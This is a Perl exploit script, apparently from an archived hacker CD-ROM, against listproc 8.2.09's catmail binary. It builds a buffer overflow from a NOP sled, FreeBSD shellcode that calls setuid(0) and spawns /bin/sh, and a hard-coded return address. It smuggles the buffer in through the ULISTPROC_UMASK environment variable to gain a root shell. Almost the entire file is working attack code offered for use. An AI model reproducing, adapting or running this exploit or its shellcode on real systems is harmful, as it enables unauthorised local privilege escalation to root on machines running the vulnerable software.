home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / DSRlistproc / DSR-listproc.pl
Encoding:
Perl Script  |  2003-08-21  |  1.2 KB  |  22 lines

  1. #!/usr/bin/perl -w
  2. # DSR-listproc.pl - kokaninATdtors.net vs. listproc 8.2.09 (bug found by KF)
  3. # as per http://www.packetstormsecurity.nl/0305-advisories/srt2003-1137.txt
  4. # offset, retaddr and shellcode is for my FreeBSD 4.8-RELEASE, YMMV
  5. # shellcode by eSDee, hello there eSDee
  6. # dont forget to edit the path to the catmail binary
  7. # this yields uid(0) if listproc is installed by root, otherwise something else
  8.  
  9. $len = 16534;
  10. $ret = pack("l",0xbfbfd176); # appx. middle of the env_var (as seen w. ╜ eye)
  11. $nop = "\x90";                                        
  12. $shellcode =    "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
  13.                 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
  14.                 "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  15.                                                       
  16. for ($i = 0; $i < $len - (length($shellcode)-8); $i++) {
  17.     $buffer .= $nop;                                  
  18. }                                                     
  19. $buffer .= $shellcode;                                
  20. $buffer .= $ret x 2;                                  
  21. local($ENV{'ULISTPROC_UMASK'}) = $buffer;             
  22. system("catmail");